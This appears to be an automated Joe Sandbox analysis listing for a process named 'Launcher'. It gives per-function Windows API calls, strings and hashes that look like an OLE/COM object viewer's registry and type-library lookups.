API ID: Cursorfree$#538$#2634CloseLoadMakeMessageOpenRelativeSelfSendmallocwsprintf$#5977#800DescriptorEnumFromH_prolog3_LengthSecurityStringValuelstrcpy
String ID: AccessPermission$CSecurityDescriptor::Initialize failed.$System$new CSecurityDescriptor failed.$psdSelfRelative malloc failed.
API String ID: 3894545846-3913380516
Opcode ID: fee72f6101a55d5421fceba6982c62dfe2c59e0006217ac316dea4586cc7376b
Instruction ID: 14d1dad8514004012f251dd512b5275465fa3e2c3d4a332c496be141afa4ae7b
Opcode Fuzzy Hash: fee72f6101a55d5421fceba6982c62dfe2c59e0006217ac316dea4586cc7376b
Instruction Fuzzy Hash: C8515171940219ABDB20AF60DC8AFEE7AF5EF55701F1044E9F909AB192CF745E84CB60

Function 00B62FE0 Relevance: 45.8, APIs: 23, Strings: 3, Instructions: 275registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B67980: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00B6798C

Part of subcall function 00B678ED: GetFocus.USER32 ref: 00B678ED
Part of subcall function 00B678ED: #2859.MFC42U(00000000), ref: 00B678F4

Part of subcall function 00B678FA: SendMessageW.USER32(?,0000113E,00000000,00000014), ref: 00B6790C

CLSIDFromString.OLE32(00000000,?,00000100), ref: 00B6312B
wcstok.MSVCRT ref: 00B63191
wcstol.MSVCRT ref: 00B6319A
wcstok.MSVCRT ref: 00B631BA
wcstol.MSVCRT ref: 00B631C3
#1662.MFC42U(Version,00B521A0,?,00000100,00000100), ref: 00B631DE
GetUserDefaultLCID.KERNEL32(Version,00B521A0,?,00000100,00000100), ref: 00B631E3
LoadRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00B6320F
GetSystemDefaultLCID.KERNEL32 ref: 00B63227
LoadRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00B6326D
RegOpenKeyW.ADVAPI32(80000000,TypeLib,?), ref: 00B6329A
StringFromGUID2.OLE32(?,?,00000027), ref: 00B632B5
RegOpenKeyW.ADVAPI32(?,?,?), ref: 00B632CC
RegOpenKeyW.ADVAPI32(?,?,?), ref: 00B632EA
LoadRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00B63330
RegCloseKey.ADVAPI32(?,?,?), ref: 00B63342
RegCloseKey.ADVAPI32(?), ref: 00B6334E
RegCloseKey.ADVAPI32(?), ref: 00B6335A
wsprintfW.USER32 ref: 00B63395
#2644.MFC42U ref: 00B633A4
#538.MFC42U(?), ref: 00B633B6
#800.MFC42U(?,00000000,?), ref: 00B633DB
#2644.MFC42U ref: 00B633E8

Part of subcall function 00B61C95: __EH_prolog3_GS.LIBCMT ref: 00B61C9F
Part of subcall function 00B61C95: StringFromGUID2.OLE32(?,?,00000028,000002BC,00B64FBE,00000000,00B59ECC,?), ref: 00B61CCE
Part of subcall function 00B61C95: wsprintfW.USER32 ref: 00B61CE4
Part of subcall function 00B61C95: RegQueryValueW.ADVAPI32(80000000,?,?,000000A0), ref: 00B61D1A
Part of subcall function 00B61C95: lstrcpyW.KERNEL32(?,<no name>), ref: 00B61D30
Part of subcall function 00B61C95: RegQueryValueW.ADVAPI32(80000000,?,?,000000A0), ref: 00B61D9E
Part of subcall function 00B61C95: RegQueryValueW.ADVAPI32(80000002,?,?,000000A0), ref: 00B61DEE
Part of subcall function 00B61C95: CLSIDFromString.OLE32(?,?), ref: 00B61E06

Strings

LoadRegTypeLib(%u, %u, %lu, &u ...) failed., xrefs: 00B63389
TypeLib, xrefs: 00B630DE, 00B63290
Version, xrefs: 00B63161

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: FromString$CloseLoadOpenQueryTypeValue$#2644DefaultMessageSendwcstokwcstolwsprintf$#1662#2859#538#800FocusH_prolog3_SystemUserlstrcpy
String ID: LoadRegTypeLib(%u, %u, %lu, &u ...) failed.$TypeLib$Version
API String ID: 672647845-2616143947
Opcode ID: 20917bb84bd827eaa7cd0cdd1589d2538e0bbc832d0ce1eb742fc184f53e87c1
Instruction ID: 84484d4d74fd6932a3d4d66ed8a007792121840d0b1267c9c3e1f241bce9887f
Opcode Fuzzy Hash: 20917bb84bd827eaa7cd0cdd1589d2538e0bbc832d0ce1eb742fc184f53e87c1
Instruction Fuzzy Hash: 72C1F5719042289FEB209F60CC49BA9B7FAFF89315F0045EAE509A7250DB765EA48F11

Function 00B64B81 Relevance: 44.0, APIs: 22, Strings: 3, Instructions: 277registryCOMMON

Download Yara Rule

APIs

#1662.MFC42U(F6B930CF), ref: 00B64CA5
GetUserDefaultLCID.KERNEL32(F6B930CF), ref: 00B64CAA
LoadRegTypeLib.OLEAUT32(-00000008,?,?,?,?), ref: 00B64CDA
GetSystemDefaultLCID.KERNEL32 ref: 00B64CF2
LoadRegTypeLib.OLEAUT32(-00000008,?,?,?,?), ref: 00B64D3C
RegOpenKeyW.ADVAPI32(80000000,TypeLib,?), ref: 00B64D69
StringFromGUID2.OLE32(-00000008,?,00000027), ref: 00B64D84
RegOpenKeyW.ADVAPI32(?,?,?), ref: 00B64D9B
memset.MSVCRT ref: 00B64DB7
wnsprintfW.SHLWAPI ref: 00B64DE0
RegOpenKeyW.ADVAPI32(?,?,?), ref: 00B64DFD

Strings

TypeLib, xrefs: 00B64D5F
%u.%u, xrefs: 00B64DCF
LoadRegTypeLib(%s, %u, %u, %lu, ...) failed., xrefs: 00B64F2D

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: Open$DefaultLoadType$#1662FromStringSystemUsermemsetwnsprintf
String ID: %u.%u$LoadRegTypeLib(%s, %u, %u, %lu, ...) failed.$TypeLib
API String ID: 2064963674-2378697407
Opcode ID: 478f1b947e1ffbe6da60d5c9a15c5376769a3d9eb62e9f39a99e581ff19daabb
Instruction ID: fec9000ea2f8185a95a89f0aa15d866ef071d93b190d0829766103e82a5fcd0b
Opcode Fuzzy Hash: 478f1b947e1ffbe6da60d5c9a15c5376769a3d9eb62e9f39a99e581ff19daabb
Instruction Fuzzy Hash: CDC1E5B1900218AFDB60DF64DC85BA9B7B8FB45305F0044E9FA0DA7261EB359E84DF19

Function 00B61C95 Relevance: 38.7, APIs: 16, Strings: 6, Instructions: 216registrycomstringCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B61C9F
StringFromGUID2.OLE32(?,?,00000028,000002BC,00B64FBE,00000000,00B59ECC,?), ref: 00B61CCE
wsprintfW.USER32 ref: 00B61CE4
RegQueryValueW.ADVAPI32(80000000,?,?,000000A0), ref: 00B61D1A
lstrcpyW.KERNEL32(?,<no name>), ref: 00B61D30
RegQueryValueW.ADVAPI32(80000000,?,?,000000A0), ref: 00B61D9E
RegQueryValueW.ADVAPI32(80000002,?,?,000000A0), ref: 00B61DEE
CLSIDFromString.OLE32(?,?), ref: 00B61E06
#540.MFC42U ref: 00B61E18
#2810.MFC42U(?,Could not convert the CLSID of the %s interface viewer.,?), ref: 00B61E33
#800.MFC42U(?,00000000), ref: 00B61E4E
#540.MFC42U ref: 00B61E90
#2859.MFC42U(?,00000001), ref: 00B61EB6
#800.MFC42U(00000000,?,00000001), ref: 00B61ED3
CoCreateInstance.OLE32(?,00000000,00000001,00B51990,?), ref: 00B61EEE
#2810.MFC42U(?,The %s interface viewer failed to load.,?), ref: 00B61F91

Strings

Could not convert the CLSID of the %s interface viewer., xrefs: 00B61E2D
Interface\%s, xrefs: 00B61CDE
<no name>, xrefs: 00B61D24
The %s interface viewer failed to load., xrefs: 00B61F8B
Interface\%s\OLEViewerIViewerCLSID, xrefs: 00B61D57
Software\Microsoft\IViewers\Interface\%s\OLEViewerIViewerCLSID, xrefs: 00B61DAC

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: QueryValue$#2810#540#800FromString$#2859CreateH_prolog3_Instancelstrcpywsprintf
String ID: <no name>$Could not convert the CLSID of the %s interface viewer.$Interface\%s$Interface\%s\OLEViewerIViewerCLSID$Software\Microsoft\IViewers\Interface\%s\OLEViewerIViewerCLSID$The %s interface viewer failed to load.
API String ID: 3373394939-4261977633
Opcode ID: e6902dd7b4b095e85483ce65d961a0be099b7b3887dfc67092520c77f6aade57
Instruction ID: fa4608278e0cf0f0f2545bda6331928c07afa15143e3bd3d6ab5b7b2bb8527eb
Opcode Fuzzy Hash: e6902dd7b4b095e85483ce65d961a0be099b7b3887dfc67092520c77f6aade57
Instruction Fuzzy Hash: 0C81F972A002289BDB21DB54CC89BEEB7B8FF09701F4405EAE909A7151DB759E84CF51

Function 00B65010 Relevance: 38.7, APIs: 16, Strings: 6, Instructions: 165COMMON

Download Yara Rule

APIs

Part of subcall function 00B69137: CoFreeUnusedLibraries.OLE32(00B64689,00000000,?), ref: 00B691A2

#540.MFC42U(F6B930CF,?,?,?,?,00B70AE8,000000FF,?,00B62E44,?,?,00000104), ref: 00B65050
CoGetClassObject.OLE32(000000FC,F6B930CF,00000000,00B59E3C,00000000,F6B930CF,?,?,?,?,00B70AE8,000000FF,?,00B62E44,?), ref: 00B6507D
CoGetClassObject.OLE32(000000FC,F6B930CF,00000000,00B59E3C,00000000,F6B930CF,?,?,?,?,00B70AE8,000000FF,?,00B62E44,?), ref: 00B6509D
#860.MFC42U(CoGetClassObject failed.,?,?,?,00B70AE8,000000FF,?,00B62E44,?), ref: 00B650B4
#1262.MFC42U(00000000,CoGetClassObject failed.,?,?,?,00B70AE8,000000FF,?,00B62E44,?), ref: 00B650BC
#860.MFC42U(CoGetClassObject succeeded, but punk was NULL.,?,?,?,00B70AE8,000000FF,?,00B62E44,?), ref: 00B650CF
#1262.MFC42U(00000000,CoGetClassObject succeeded, but punk was NULL.,?,?,?,00B70AE8,000000FF,?,00B62E44,?), ref: 00B650D7
#860.MFC42U(QueryInterface on class factory for IClassFactory failed.,?,?,?,00B70AE8,000000FF,?,00B62E44,?), ref: 00B65118
#1262.MFC42U(00000000,QueryInterface on class factory for IClassFactory failed.,?,?,?,00B70AE8,000000FF,?,00B62E44,?), ref: 00B65120
#860.MFC42U(CoGetClassObject succeeded, but pClassFactory was NULL.,?,?,?,00B70AE8,000000FF,?,00B62E44,?), ref: 00B65136
#1262.MFC42U(00000000,CoGetClassObject succeeded, but pClassFactory was NULL.,?,?,?,00B70AE8,000000FF,?,00B62E44,?), ref: 00B6513E
#860.MFC42U(IClassFactory::CreateInstance failed.,?,?,?,00B70AE8,000000FF,?,00B62E44,?), ref: 00B651A6
#1262.MFC42U(00000000,IClassFactory::CreateInstance failed.,?,?,?,00B70AE8,000000FF,?,00B62E44,?), ref: 00B651AE
#860.MFC42U(IClassFactory::CreateInstance succeeded, but punk was NULL.,?,?,?,00B70AE8,000000FF,?,00B62E44,?), ref: 00B651C4
#1262.MFC42U(00000000,IClassFactory::CreateInstance succeeded, but punk was NULL.,?,?,?,00B70AE8,000000FF,?,00B62E44,?), ref: 00B651CC
#800.MFC42U(?,?,?,00B70AE8,000000FF,?,00B62E44,?), ref: 00B65256

Strings

CoGetClassObject succeeded, but pClassFactory was NULL., xrefs: 00B6512E
IClassFactory::CreateInstance succeeded, but punk was NULL., xrefs: 00B651BC
IClassFactory::CreateInstance failed., xrefs: 00B6519E
CoGetClassObject succeeded, but punk was NULL., xrefs: 00B650C7
QueryInterface on class factory for IClassFactory failed., xrefs: 00B65110
CoGetClassObject failed., xrefs: 00B650AC

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #1262#860$ClassObject$#540#800FreeLibrariesUnused
String ID: CoGetClassObject failed.$CoGetClassObject succeeded, but pClassFactory was NULL.$CoGetClassObject succeeded, but punk was NULL.$IClassFactory::CreateInstance failed.$IClassFactory::CreateInstance succeeded, but punk was NULL.$QueryInterface on class factory for IClassFactory failed.
API String ID: 3706085179-577247013
Opcode ID: f93c85b51e1f6072ac97edaa241e3e464e59e87bbdca88c7a168212556a0211b
Instruction ID: 32485f03d139d92ff6f430f4bb0ddb57835b0e1a3b59182d3046aaafee5285b7
Opcode Fuzzy Hash: f93c85b51e1f6072ac97edaa241e3e464e59e87bbdca88c7a168212556a0211b
Instruction Fuzzy Hash: 9F71A275900209DFCB10EF94D98ABAEBBF4FF18316F1041A5E911B72A1C778AA54CB61

Function 00B5D000 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 167windowregistrystringCOMMON

Download Yara Rule

APIs

#4704.MFC42U ref: 00B5D024
LoadCursorW.USER32(00000000,00007F02), ref: 00B5D030
SetCursor.USER32(00000000), ref: 00B5D037
SendMessageW.USER32(?,00001061,00000000,?), ref: 00B5D06F
SendMessageW.USER32(?,00001061,00000001,?), ref: 00B5D0A0
RegOpenKeyW.ADVAPI32(80000000,CLSID,?), ref: 00B5D0B3
RegEnumKeyW.ADVAPI32(?,00000000,?,00000100), ref: 00B5D0D0
wsprintfW.USER32 ref: 00B5D0F8
lstrcpyW.KERNEL32(?,00B52948,80000000,?,00B521A0,?,000001FE), ref: 00B5D13F
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00B5D18E
SendMessageW.USER32(?,00001053,000000FF,00000002), ref: 00B5D1BE
SendMessageW.USER32(?,0000104C,00000000,00000001), ref: 00B5D1F3
LoadCursorW.USER32(00000000,00007F00), ref: 00B5D205
SetCursor.USER32(00000000), ref: 00B5D20C
SendMessageW.USER32(?,0000104B,00000000,00000001), ref: 00B5D23B
SendMessageW.USER32(?,0000104C,00000000,00000009), ref: 00B5D263
#5977.MFC42U ref: 00B5D26F
RegCloseKey.ADVAPI32(?), ref: 00B5D27A

Strings

Class Name, xrefs: 00B5D054
CLSID, xrefs: 00B5D08B, 00B5D0AD
CLSID\%s, xrefs: 00B5D0F2

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: MessageSend$Cursor$Load$#4704#5977CloseEnumOpenlstrcpywsprintf
String ID: CLSID$CLSID\%s$Class Name
API String ID: 3330777091-3884686139
Opcode ID: e210199a8428ae54621c4eb47bc7178381baf45f74624995b023d5fb92af2564
Instruction ID: 9c4e941e318fd44c55b84d145abffb27bdc740af29626e567904a5ee7a618c3a
Opcode Fuzzy Hash: e210199a8428ae54621c4eb47bc7178381baf45f74624995b023d5fb92af2564
Instruction Fuzzy Hash: F9611FB1900218AFEB219F60DC89FDAB7BAFB84305F1005E5E61DA2191DB765ED48F50

Function 00B6CB3B Relevance: 36.2, APIs: 24, Instructions: 181COMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(00000000,00000001(TokenIntegrityLevel),00000000,00000000,00000000,?,00000000,?,?,?,?,00B6CB28,00000000,00000000,?), ref: 00B6CB71
GetLastError.KERNEL32(?,?,?,00B6CB28,00000000,00000000,?,?,?,00B6CE14,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B6CB77
malloc.MSVCRT ref: 00B6CB9D
GetTokenInformation.ADVAPI32(00000000,00000001(TokenIntegrityLevel),00000000,00000000,00000000,?,?,00B6CB28,00000000,00000000,?,?,?,00B6CE14,00000000,00000000), ref: 00B6CBC1
GetLastError.KERNEL32(?,?,00B6CB28,00000000,00000000,?,?,?,00B6CE14,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B6CBCB
free.MSVCRT ref: 00B6CD14
free.MSVCRT ref: 00B6CD20
free.MSVCRT ref: 00B6CD31

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: free$ErrorInformationLastToken$malloc
String ID:
API String ID: 3900411180-0
Opcode ID: dc98e24dae761b4b00fc6aaf22f65141c04d7428f324bb1bddccd43d5a50f58c
Instruction ID: b70bf39f2c94df10301f1b3308c17bf94d2620a28f89505517972d87b52b5897
Opcode Fuzzy Hash: dc98e24dae761b4b00fc6aaf22f65141c04d7428f324bb1bddccd43d5a50f58c
Instruction Fuzzy Hash: F951D57690012AEFCB159FA4DC48A7A7EF4FF45352B2241B6FD49E7160DB388D409A90

Function 00B60E70 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 96COMMON

Download Yara Rule

APIs

#4493.MFC42U ref: 00B60E90
__EH_prolog3_GS.LIBCMT ref: 00B61B2B
#540.MFC42U(00000044,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00B61B35
#540.MFC42U(00000044,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00B61B41
#4155.MFC42U(00000004,00000044,00000000,?,?), ref: 00B61B4F
#4155.MFC42U(00000005,00000004,00000044,00000000,?,?), ref: 00B61B59
#540.MFC42U(00000005,00000004,00000044,00000000,?,?), ref: 00B61B61
#3865.MFC42U(?,00000005,00000004,00000044,00000000,?,?), ref: 00B61B77
#2970.MFC42U(00000000,?,?,?,00000005,00000004,00000044,00000000,?,?), ref: 00B61B8C
#2910.MFC42U(000000FF,00000000,?,?,?,00000005,00000004,00000044,00000000,?,?), ref: 00B61B99
#3792.MFC42U(000000FF,00000000,?,?,?,00000005,00000004,00000044,00000000,?,?), ref: 00B61BA6
#3792.MFC42U(00000000,000000FF,00000000,?,?,?,00000005,00000004,00000044,00000000,?,?), ref: 00B61BB8
wsprintfW.USER32 ref: 00B61BE8
#5568.MFC42U(000000FF), ref: 00B61BF6
#6399.MFC42U(?,?,?,000000FF), ref: 00B61C09
#800.MFC42U(?,?,?,000000FF), ref: 00B61C11
#800.MFC42U(?,?,?,000000FF), ref: 00B61C19
#800.MFC42U(?,?,?,000000FF), ref: 00B61C21

Strings

%d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, xrefs: 00B61BE2
,, xrefs: 00B61B70

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #540#800$#3792#4155$#2910#2970#3865#4493#5568#6399H_prolog3_wsprintf
String ID: %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d$,
API String ID: 3591584436-2100854449
Opcode ID: 7b27f3b62667931fb2917190745c45f2d242423c12be022c937629d1cb74ef31
Instruction ID: 1c01cedbb365a6d65e43a59da0a4d703dc2be9a4225107907a6191dba07b313b
Opcode Fuzzy Hash: 7b27f3b62667931fb2917190745c45f2d242423c12be022c937629d1cb74ef31
Instruction Fuzzy Hash: 8B313D36E10108AACF05EBE4CC92EEDBBB5BF58300F4440A5F611771A2DF795A1ADB51

Function 00B66C29 Relevance: 33.7, APIs: 15, Strings: 4, Instructions: 415registrystringCOMMON

Download Yara Rule

APIs

#540.MFC42U(?,?), ref: 00B66CF1
#2810.MFC42U(?,IMoniker::BindToObject failed on the file moniker created from ( "%s" ).,00000000,?,?), ref: 00B66D15
#800.MFC42U(?,00000000), ref: 00B66D39

Part of subcall function 00B65010: #540.MFC42U(F6B930CF,?,?,?,?,00B70AE8,000000FF,?,00B62E44,?,?,00000104), ref: 00B65050
Part of subcall function 00B65010: CoGetClassObject.OLE32(000000FC,F6B930CF,00000000,00B59E3C,00000000,F6B930CF,?,?,?,?,00B70AE8,000000FF,?,00B62E44,?), ref: 00B6507D
Part of subcall function 00B65010: #860.MFC42U(CoGetClassObject failed.,?,?,?,00B70AE8,000000FF,?,00B62E44,?), ref: 00B650B4
Part of subcall function 00B65010: #1262.MFC42U(00000000,CoGetClassObject failed.,?,?,?,00B70AE8,000000FF,?,00B62E44,?), ref: 00B650BC
Part of subcall function 00B65010: #860.MFC42U(CoGetClassObject succeeded, but punk was NULL.,?,?,?,00B70AE8,000000FF,?,00B62E44,?), ref: 00B650CF
Part of subcall function 00B65010: #1262.MFC42U(00000000,CoGetClassObject succeeded, but punk was NULL.,?,?,?,00B70AE8,000000FF,?,00B62E44,?), ref: 00B650D7
Part of subcall function 00B65010: #860.MFC42U(QueryInterface on class factory for IClassFactory failed.,?,?,?,00B70AE8,000000FF,?,00B62E44,?), ref: 00B65118
Part of subcall function 00B65010: #1262.MFC42U(00000000,QueryInterface on class factory for IClassFactory failed.,?,?,?,00B70AE8,000000FF,?,00B62E44,?), ref: 00B65120
Part of subcall function 00B65010: #860.MFC42U(CoGetClassObject succeeded, but pClassFactory was NULL.,?,?,?,00B70AE8,000000FF,?,00B62E44,?), ref: 00B65136
Part of subcall function 00B65010: #1262.MFC42U(00000000,CoGetClassObject succeeded, but pClassFactory was NULL.,?,?,?,00B70AE8,000000FF,?,00B62E44,?), ref: 00B6513E

RegOpenKeyW.ADVAPI32(80000000,Interface,?), ref: 00B66E1F
malloc.MSVCRT ref: 00B66E77
malloc.MSVCRT ref: 00B66EBA
RegEnumKeyW.ADVAPI32(?,00000000,?,00000050), ref: 00B66F38
CLSIDFromString.OLE32(00000000,00000000), ref: 00B66F76
StringFromGUID2.OLE32(00000000,?,00000100), ref: 00B67148
lstrcpyW.KERNEL32(?,00000000), ref: 00B6717B
RegQueryValueW.ADVAPI32(?,?,?,00000200), ref: 00B671A6
wsprintfW.USER32 ref: 00B671D9
free.MSVCRT ref: 00B6733B
free.MSVCRT ref: 00B6734A
RegCloseKey.ADVAPI32(?), ref: 00B67389

Strings

Interface, xrefs: 00B66E15
', xrefs: 00B66DCF
%s <no name>, xrefs: 00B671CD
IMoniker::BindToObject failed on the file moniker created from ( "%s" )., xrefs: 00B66D09

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #1262#860$#540FromStringfreemalloc$#2810#800ClassCloseEnumObjectOpenQueryValuelstrcpywsprintf
String ID: %s <no name>$'$IMoniker::BindToObject failed on the file moniker created from ( "%s" ).$Interface
API String ID: 3715769521-149418688
Opcode ID: 4d3999c9ea350ec06492be6b1843d0963eb29e1133e6991e3b8deb512250ad4b
Instruction ID: d4466f5fd667641990223b1b3730adef49451b29d62ab3d3ba4826c17b999e8a
Opcode Fuzzy Hash: 4d3999c9ea350ec06492be6b1843d0963eb29e1133e6991e3b8deb512250ad4b
Instruction Fuzzy Hash: FB22B5B1905228CFDB64DB14CD94B99B7F9FB44305F1040E9E60AA7292DB789EC5CF18

Function 00B642EB Relevance: 31.8, APIs: 15, Strings: 3, Instructions: 280stringregistryCOMMON

Download Yara Rule

APIs

#1662.MFC42U(F6B930CF), ref: 00B64326
#858.MFC42U(?), ref: 00B64531
#540.MFC42U ref: 00B6455F
StringFromGUID2.OLE32(?,?,00000028,?,00B59EDC), ref: 00B6459A
lstrcpyW.KERNEL32(?,00000000), ref: 00B645B1
#2810.MFC42U(?,CLSID\%s,?,?), ref: 00B645E0
lstrcpyW.KERNEL32(?,?), ref: 00B645F3
RegQueryValueW.ADVAPI32(80000000,00000000,?,00000100), ref: 00B64618
#2810.MFC42U(?,%s (%s),?,?), ref: 00B64636
#2810.MFC42U(?,00B5572C,?,?,00B59EDC), ref: 00B64651
#540.MFC42U(00000000,?), ref: 00B646F4
#2810.MFC42U(?,Could not add item to tree view. Internal OLEViewer error.,00000000,?), ref: 00B64709
#800.MFC42U(?,80004005,00000000,?), ref: 00B6472C
#2644.MFC42U(00000000,?), ref: 00B64737
#800.MFC42U(00000000,?), ref: 00B6476E

Strings

%s (%s), xrefs: 00B6462A
Could not add item to tree view. Internal OLEViewer error., xrefs: 00B646FD
CLSID\%s, xrefs: 00B645D4

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #2810$#540#800lstrcpy$#1662#2644#858FromQueryStringValue
String ID: %s (%s)$CLSID\%s$Could not add item to tree view. Internal OLEViewer error.
API String ID: 2368693756-676685266
Opcode ID: ed92f01e384c850b0d4bc491dba57a99362f70598c4bf0a23467082ae1b51ef2
Instruction ID: dff8f51d60b0d261f800ce708f0c9e2760661bc489a054965e69b100eaa69428
Opcode Fuzzy Hash: ed92f01e384c850b0d4bc491dba57a99362f70598c4bf0a23467082ae1b51ef2
Instruction Fuzzy Hash: EED1B175901229DFDB64EF64CC99B9DB7F9BB48301F1040EAE809A72A1DB749E84CF50

Function 00B5CB16 Relevance: 31.6, APIs: 14, Strings: 4, Instructions: 126stringwindowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B5CB20
#540.MFC42U(00000264,00B5DF79), ref: 00B5CB33
StringFromGUID2.OLE32(?,?,00000028,00000264,00B5DF79), ref: 00B5CB5F
#861.MFC42U(?), ref: 00B5CBEC
lstrcmpW.KERNEL32(?,Interactive User,?,?,?,?), ref: 00B5CC3D
#6195.MFC42U(00B521A0,?,?,?,?), ref: 00B5CC4E
#2634.MFC42U(00000000,00B521A0,?,?,?,?), ref: 00B5CC58
#6195.MFC42U(?,?,?,?,?), ref: 00B5CC69
#2634.MFC42U(00000001,?,?,?,?,?), ref: 00B5CC72
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00B5CCA3
#6330.MFC42U(00000000,?,?,?,?), ref: 00B5CCAC
#800.MFC42U(00000000,?,?,?,?), ref: 00B5CCB7

Strings

Interactive User, xrefs: 00B5CC31
RunAs, xrefs: 00B5CC0F
RemoteServerName, xrefs: 00B5CBBE
ActivateAtStorage, xrefs: 00B5CB7D

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

